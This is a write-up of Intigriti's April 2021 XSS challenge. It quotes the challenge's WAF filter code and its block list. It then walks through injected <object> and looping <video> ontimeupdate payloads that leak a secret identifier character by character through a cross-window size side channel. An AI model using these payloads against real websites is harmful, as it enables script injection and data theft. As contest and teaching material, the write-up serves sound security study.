Intigriti’s 0421 XSS challenge - by @terjanq
Target
The challenge is hosted at https://challenge-0421.intigriti.io, and the tweet about it is https://twitter.com/intigriti/status/1384108534070083591.
As stated on the challenge’s page, we need to find a way to execute arbitrary javascript on the challenge page. However, there are a few rules and information:
Rules:
    This challenge runs from April 19 until April 25th, 11:59 PM CET.
    Out of all correct submissions, we will draw six winners on Monday, April 26th:
        Three randomly drawn correct submissions
        Three best write-ups
    Every winner gets a €50 swag voucher for our swag shop
    The winners will be announced on our Twitter profile.
    For every 100 likes, we'll add a tip to announcement tweet.
The solution...
    Should work on the latest version of Firefox or Chrome
    Should alert() the following flag: flag{THIS_IS_THE_FLAG}.
    Should leverage a cross site scripting vulnerability on this page.
    Shouldn't be self-XSS or related to MiTM attacks
    Should not use any user interaction
    Should be reported at go.intigriti.com/submit-solution
(taken from https://challenge-0421.intigriti.io / 2021-04-25 14:00 CET)
Hints
Since there were so few solves during the duration of the challenge, @initigriti decided to offer a few more hints than usual:
- 
    
First hint: find the objective! https://twitter.com/intigriti/status/1384144131526594569
 - 
    
Tipping time! Goal < object(ive) https://twitter.com/intigriti/status/1385292044470530050
 - 
    
Update: this seems to be the hardest XSS challenge we’ve ever hosted - no valid solutions so far! Here’s an extra tip: ++ is also an assignment https://twitter.com/intigriti/status/1384511577622253570
 - 
    
Another hint: you might need to unload a custom loop! https://twitter.com/intigriti/status/1385983715424284677
 - 
    
Let’s give another hint:
“Behind a Greater Oracle there stands one great Identity” (leak it) https://twitter.com/intigriti/status/1385139722239025152
 - 
    
Time for another hint! Where to smuggle data? https://twitter.com/intigriti/status/1384180996984041480
 - 
    
Time for another tip! One bite after another! https://twitter.com/intigriti/status/1384475910557024256
 
Inspecting and understanding the challenge
The challenge index.html included not only the visual page you can see rendered in the browser, but also some other data worth mentioning:
<iframe id="wafIframe" src="./waf.html" sandbox="allow-scripts" style="display:none"></iframe>
<script>
const wafIframe = document.getElementById('wafIframe').contentWindow;
const identifier = getIdentifier();
function getIdentifier() {
    const buf = new Uint32Array(2);
    crypto.getRandomValues(buf);
    return buf[0].toString(36) + buf[1].toString(36)
}
function htmlError(str, safe){
    const div = document.getElementById("error-content");
    const container = document.getElementById("error-container");
    container.style.display = "block";
    if(safe) div.innerHTML = str;
    else div.innerText = str;
    window.setTimeout(function(){
        div.innerHTML = "";
        container.style.display = "none";
    }, 10000);
}
function addError(str){
    wafIframe.postMessage({
        identifier,
        str
    }, '*');
}
window.addEventListener('message', e => {
    if(e.data.type === 'waf'){
        if(identifier !== e.data.identifier) throw /nice try/
        htmlError(e.data.str, e.data.safe)
    }
});
window.onload = () => {
    const error = (new URL(location)).searchParams.get('error');
    if(error !== null) addError(error);
}
</script>
The page is including an hidden iframe to waf.html, where waf is an acronym for Web Application Firewall.
Inspecting and understanding the waf.html
The waf.html contains the following script:
<script>
onmessage = e => {
    const identifier = e.data.identifier;
    e.source.postMessage({
        type:'waf',
        identifier,
        str: e.data.str,
        safe: (new WAF()).isSafe(e.data.str)
    },'*');
}
function WAF() {
    const forbidden_words = ['<style', '<iframe', '<embed', '<form', '<input', '<button', '<svg', '<script', '<math', '<base', '<link', 'javascript:', 'data:'];
    const dangerous_operators = ['"', "'", '`', '(', ')', '{', '}', '[', ']', '=']
    function decodeHTMLEntities(str) {
        var ta = document.createElement('textarea');
        ta.innerHTML = str;
        return ta.value;
    }
    function onlyASCII(str){
        return str.replace(/[^\x21-\x7e]/g,'');
    }
    function firstTag(str){
        return str.search(/<[a-z]+/i)
    }
    function firstOnHandler(str){
        return str.search(/on[a-z]{3,}/i)
    }
    function firstEqual(str){
        return str.search(/=/);
    }
    function hasDangerousOperators(str){
        return dangerous_operators.some(op=>str.includes(op));
    }
    function hasForbiddenWord(str){
        return forbidden_words.some(word=>str.search(new RegExp(word, 'gi'))!==-1);
    }
    this.isSafe = function(str) {
        let decoded = onlyASCII(decodeHTMLEntities(str));
        const first_tag = firstTag(decoded);
        if(first_tag === -1) return true;
        decoded = decoded.slice(first_tag);
        if(hasForbiddenWord(decoded)) return false;
        const first_on_handler = firstOnHandler(decoded);
        if(first_on_handler === -1) return true;
        decoded = decoded.slice(first_on_handler)
        const first_equal = firstEqual(decoded);
        if(first_equal === -1) return true;
        decoded = decoded.slice(first_equal+1);
        if(hasDangerousOperators(decoded)) return false;
        return true;
    }
}
</script>
First of all, the waf creates a new onmessage handler. This handler is called by a call on the postMessage method of a window having the waf.html open. For example:
receiver.html:
<script>
onmessage = e => {
    console.log(`Hello from ${e.data.name}`);
}
</script>
sender.html:
<script>
const receiverWindow = window.open('receiver.html');
receiverWindow.postMessage({name: 'sender'}, '*');
</script>
So, onmessage (or window.addEventListener('message',...)) and postMessage is way of communicationg cross origins/frames/windows. To send messages back to the origin, one can use the reference to the Window object, which stays in e.sender.
So, the waf gets messages, does something and then sends a message back to the sender.
The message, the waf sends back, is the following:
{
    type:'waf',
    identifier: e.data.identifier,
    str: e.data.str,
    safe: (new WAF()).isSafe(e.data.str)
}
So, basically it replies which the identifier and the str from the incoming message. The only part, that changes is the safe property, which is calculated by the class WAF.
The isSafe method
- Call of 
decodeHTMLEntities, which just turns encoded HTML entities into their character representations. For example:>will result in>. - Call of 
onlyASCII, which replaces all occurences of characters, which are not between\x21-\x7einto an empty string. For example:foo\nbarwill result infoobar. - Call of 
firstTag, which looks for the first occurence of<with any character followed and returns the respective index. For examplefirstTag('1<test')will return1.- If there is no tag found, the 
isSafemethod will return withtrue. - If there is a tag found, the following methods will only focus on the string after the first tag.
 
 - If there is no tag found, the 
 - Call of 
hasForbiddenWord, which will look for any occurence of['<style', '<iframe', '<embed', '<form', '<input', '<button', '<svg', '<script', '<math', '<base', '<link', 'javascript:', 'data:']and will returnfalseif there is one. - Call of 
firstOnHandler, does the same asfirstTag, but withonfollowed by 3 characters. - Call of 
firstEqual, does the same asfirstTag, but with=. - Call of 
hasDangerousOperators, which will look for any occurence of['"', "'", '`', '(', ')', '{', '}', '[', ']', '=']and will returnfalseif there is one. 
To wrap things up, isSafe will return
trueif there is no HTML tagfalseif there is any occurence of['<style', '<iframe', '<embed', '<form', '<input', '<button', '<svg', '<script', '<math', '<base', '<link', 'javascript:', 'data:']trueif there is no event handler after the first HTML tag.trueif there is no equal sign, after the first event handler.falseif there is any occurence of['"', "'", '`', '(', ')', '{', '}', '[', ']', '=']after the first equal sign inside of an event handler.
So things like <a> tags will result in a safe string. Also strings with eventhandlers but without use of ['"', "'", '`', '(', ')', '{', '}', '[', ']', '='] will return safe: <img src=x onerror=height++>
Inspecting and understanding the index.html
The script at index.html does the following:
- Creates an 
identifierin the global scope, which is the concatination of two 32bit random integers. - Creates an eventlistener on the 
messageevent. The handler will check if thetypeis equal towafand theidentifieris the same as the generated one. If both match, thehtmlErrormethod is called.- The 
htmlErrormethod will display the a string depending on thesafeargument. If it istrue, thestrargument will be displayed as HTML. If it isfalseit will be just displayed as text. - After 10 seconds, the error will be hidden.
 
 - The 
 - Sends a message to 
wafIframeafter the page finished loading. The message’sstrproperty will be the value of theerrorURL parameter. 
Wrap Up
After inspecting waf.html and index.html we have a basic understanding of what the exploit will consist of:
Send a message to index.html containing a valid identifier and the safe property set to true. This will inject the given str property and will result in the ultimate goal: XSS!
To do so, we need to develop two answer the following questions:
- How can we have script permanently executed? Something like a loop?
 - How can we leak the identifier? We surely need something like cross-origin communication between our scripts and the challenge.
 
The exploit
After the first few hints, I discovered that I can include <object> tags, pointing to the attacker page (in the future in my case localhost) and including script. So doing the url: https://challenge-0421.intigriti.io/?error=<object data=http://localhost:3001/xss.html> will include the page at xss.html and will even execute any script from that domain. So, basically we already have some kind of XSS, but it’s execution is not on the challenge page.
Having dynamic script execution
After having a look at all the possible HTML events at https://developer.mozilla.org/de/docs/Web/Events I saw the even timeupdate and made a quick PoC:
<html>
<head></head>
<body>
    <video controls src=https://www.w3schools.com/jsref/mov_bbb.mp4 ontimeupdate="console.log('timeupdate')">
</body>
</html>
This worked, but needed user interaction to start the video. Luckily the video tag has an autoplay attribute. After setting this, the page errored out, saying that autoplaying videos is only possible when there are muted. So, after setting the muted attribute, the script was indeed executed multiple times. But only until the end of the video. I though about embedding a very long video, but that was not needed, since we can set the loop attribute, which will autoplay the video again at the end. Having all this together, got a dynamic script looping:
<video muted loop autoplay src=https://www.w3schools.com/jsref/mov_bbb.mp4 ontimeupdate="console.log('timeupdate')">
This got one call per second. To speed things up, we could increase the currentTime property in the event handler:
<video muted loop autoplay src=https://www.w3schools.com/jsref/mov_bbb.mp4 ontimeupdate="currentTime++;console.log('timeupdate')">
Leaking the identifier
Since we can not create a new identifier or overwrite it, we need some kind of cross origin/window communication between our script injected by the object tag and the script, which will run in the video tag. The only way of cross origin/window communication that would somehow be possible, is setting the window.name property. The idea is the following:
- Have an 
initalpage atlocalhost, which opens a popup to a second page atlocalhost. - The second page opens another popup to 
challenge.- The challenge can then read the name of the opener with 
window.opener.name. - The challenge page opens with an 
objectpage atlocalhost. - The challenge compares 
window.opener.namewithidentifier, communicates towindow.openerthat the comparison was greater or less. - The 
window.opener.namechanges to the next character and the loop begins again. 
 - The challenge can then read the name of the opener with 
 - The 
initalpage can take input from theobjectpage, since it has the same origin. - The 
initalpage can also change the location of thewindow.opener.- Change location to 
localhostto set thenameproperty. - Change location to 
challengeto let the challenge read thewindow.opener.name. 
 - Change location to 
 
Putting all this together again:
- The 
init.htmlinitializes some utility methods and opens a popup toopener.html. opener.htmlopens thechallengepage with the payload:<object id=poc data=http://localhost:3000/solver.html width=101 height=101></object> <video muted loop autoplay src=https://www.w3schools.com/jsref/mov_bbb.mp4 ontimeupdate=window.opener.name<identifier?poc.height++:poc.width++>
This will load the solver.html and additionally executes the following loop:
if(window.opener.name < identifier)
{
    poc.height++;
}else{
    poc.width++;
}
In JavaScript you can compare strings by using < and > based on their ascii character index. So an a is lower than a b. 
Using this, we can control the size of the object. The script in solver.html of the object can then monitor window.innerWidth and window.innerHeight for any changes. If the innerWidth changed, the window.opener.name is greater than the identifier. If this occurs, the character we tested before, is the correct character in identifier at that position. 
Having an array of characters ["0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","{"]:
If "0" < identifier returns false, but "1" < identifier returns true, the first character of identifier is "0". With focus to the loop mentioned above, the width will change, when the window.opener.name contains a character after the actual character.
Putting everything together
I will not go into a deep detail description of init.html, sovler.html or opener.html. This exploit unfortunately requires the script to be visible longer than the 10 seconds.
init.html opens the opener.html, which opens the challenge page with the above mentioned payload. This payload will compare the name of opener.html with the identifier and will change the size accordingly. Additionally the payload will load an <object> pointing to solver.html, which monitors the size by using window.innerWidth and window.innerHeight.
The solver.html has the same origin than init.html, thus it can call functions with window.parent.opener.opener.FUNCTION.
init.html contains the following functions:
getIdentifier()returns the currently tested character.setIdentifier()sets theidentifierusing a reference to theopener.html. To do so, the origin ofopener.htmlneeds to be the same asinit.html. So basically it does the following:- Change location to same origin as 
init.html. - Use 
waitUntilWriteableuntil it can write the newwindow.name. - Write the new 
identifierwith the already guessed part towindow.name. - Change the location back to the challenge’s origin.
 
- Change location to same origin as 
 waitUntilWriteable(windowRef)andwaitForLocationChange(windowRef, location)are convenience methods which simply return a resolvedPromiseas soon as the thewindowRef.nameis writeable or thewindowRef.location.hrefcontains the given location.
The bad part about this soltion is, that it needs to change the location of opener.html twice for each new character guess and thus, this solution takes longer than the 10 seconds, in which the whole HTML is available.
Acknowledgments
Big thanks to @totz_sec for a great collaboration. Developing the solution was a great teamwork. #kaeferjaeger